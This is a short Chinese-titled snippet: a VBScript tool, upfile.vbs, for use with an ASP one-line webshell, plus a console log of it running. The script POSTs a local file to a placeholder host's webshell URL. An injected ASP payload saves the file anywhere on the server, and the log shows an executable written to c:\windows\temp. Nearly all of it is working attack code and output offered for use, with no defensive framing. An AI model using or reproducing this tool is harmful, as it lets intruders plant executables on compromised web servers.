一句话木马用upfile.vbs

with wscript

if .arguments.count<2 then .quit

ffn=replace(.arguments(1),"\","%5C"):ffn=replace(ffn,":","%3A"):ffn=replace(ffn,"~","%7E")

url= "http://www.xxxx.com/a.asp?a=with+server.createobject%28%22adodb.stream%22%29%0D%0A.type%3D1%0D%0A.open%0D%0A.write+request.binaryread%28request.totalbytes%29%0D%0A.savetofile+%22"&ffn&"%22%2C2%0D%0Aend+with%0D%0AResponse.end"

fn=.arguments(0)

end with

with createobject("adodb.stream")

.type=1:.open:.loadfromfile fn:s=.read:.close

end with

with createobject("microsoft.xmlhttp")

.open "post",url,false:.send s

wscript.echo .statustext

end with

F:\tools\upfile>cscript upfile.vbs f:\tools\xtime.exe c:\windows\temp\xtime.exe

Microsoft (R) Windows Script Host Version 5.6

版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。

OK